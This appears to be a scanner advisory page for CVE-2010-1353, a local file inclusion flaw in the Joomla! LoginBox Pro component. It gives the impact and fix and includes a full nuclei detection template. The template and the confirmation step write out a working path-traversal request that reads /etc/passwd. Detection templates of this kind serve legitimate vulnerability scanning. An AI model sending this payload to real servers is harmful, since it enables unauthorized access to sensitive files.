Joomla! Component LoginBox - Local File Inclusion

mediumseverity

5CVSS score

18.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the LoginBox Pro (com_loginbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in LoginBox component.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1353 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1353

info:
  name: Joomla! Component LoginBox - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the LoginBox Pro (com_loginbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in LoginBox component.
  reference:
    - https://www.exploit-db.com/exploits/12068
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1353
    - http://www.vupen.com/english/advisories/2010/0808
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57533
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1353
    cwe-id: CWE-22
    epss-score: 0.18703
    epss-percentile: 0.97295
    cpe: cpe:2.3:a:wowjoomla:com_loginbox:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wowjoomla
    product: com_loginbox
  tags: cve,cve2010,joomla,lfi,edb,wowjoomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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